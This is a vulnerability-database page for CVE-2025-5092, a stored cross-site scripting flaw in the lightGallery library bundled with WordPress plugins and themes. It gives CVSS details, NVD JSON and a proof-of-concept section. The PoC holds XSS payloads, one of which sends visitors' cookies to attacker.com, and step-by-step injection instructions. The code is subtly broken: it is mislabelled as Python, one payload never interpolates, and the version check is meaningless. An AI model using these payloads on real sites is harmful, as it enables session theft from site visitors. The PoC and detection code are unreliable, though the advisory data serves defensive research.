Security Vulnerability Report
中文
CVE-2025-5092 CVSS 6.4 MEDIUM

CVE-2025-5092

Published: 2025-11-20 15:17:38
Last Modified: 2026-04-15 00:35:42

Description

Multiple plugins and/or themes for WordPress are vulnerable to Stored Cross-Site Scripting via the plugin's bundled lightGallery library (<= 2.8.3) in various versions due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

lightGallery <= 2.8.3(所有捆绑此版本的WordPress插件和主题)
使用受污染lightGallery库的WordPress主题
使用受污染lightGallery库的WordPress插件

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-5092 Stored XSS PoC via lightGallery // Requires Contributor-level access in WordPress // Method 1: Via WordPress shortcode with malicious data attribute const xssPayload1 = '" onerror="alert(String.fromCharCode(88,83,83,32,80,111,67))" data-source="'; const maliciousShortcode = `[gallery ids="1" data-sub-html="${xssPayload1}"]`; // Method 2: Via HTML/JavaScript injection in lightGallery settings const xssPayload2 = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; const maliciousConfig = { selector: '.gallery-item', exThumbEntity: '${xssPayload2}', dynamic: true, dynamicEl: [{ src: 'legitimate-image.jpg', subHtml: xssPayload2 }] }; // Method 3: Via data attributes on gallery elements const xssPayload3 = 'javascript:alert("XSS via lightGallery")'; const maliciousHtml = ` <div id="lightgallery"> <div class="gallery-item" data-src="normal-image.jpg" data-sub-html="${xssPayload2}" data-video-src="${xssPayload3}"> </div> </div> `; // Exploitation steps: // 1. Obtain Contributor or higher privileges on WordPress site // 2. Create or edit a post/page // 3. Insert gallery shortcode with XSS payload in data-sub-html or similar attributes // 4. Publish/update the post // 5. When any user views the page, the XSS payload executes in their browser context // Detection: Check for lightGallery version <= 2.8.3 in source code function checkVulnerableVersion() { const version = '2.8.3'; // Read from lightGallery's package.json or script tag return parseFloat(version) <= 2.8.3; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-5092", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:37.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple plugins and/or themes for WordPress are vulnerable to Stored Cross-Site Scripting via the plugin's bundled lightGallery library (<= 2.8.3) in various versions due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/sachinchoolur/lightGallery", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3311382/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3343557/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3356089/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3372141/", "source": "[email protected]"}, {"url": "https://themes.trac.wordpress.org/changeset/299860", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/acaa3142-2bbc-43d3-8ecc-05e8edb931ec?source=cve", "source": "[email protected]"}]}}